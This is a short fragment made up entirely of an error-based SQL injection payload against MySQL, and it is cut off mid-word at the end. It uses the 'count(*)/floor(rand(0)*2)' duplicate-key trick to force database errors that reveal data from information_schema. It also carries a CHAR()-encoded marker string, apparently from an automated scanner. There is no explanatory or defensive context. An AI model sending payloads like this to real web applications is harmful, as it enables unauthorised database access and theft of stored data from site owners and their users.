and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(100),CHAR(109),CHAR(97),CHAR(118),CHAR(116),CHAR(105),CHAR(121),CHAR(114)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.t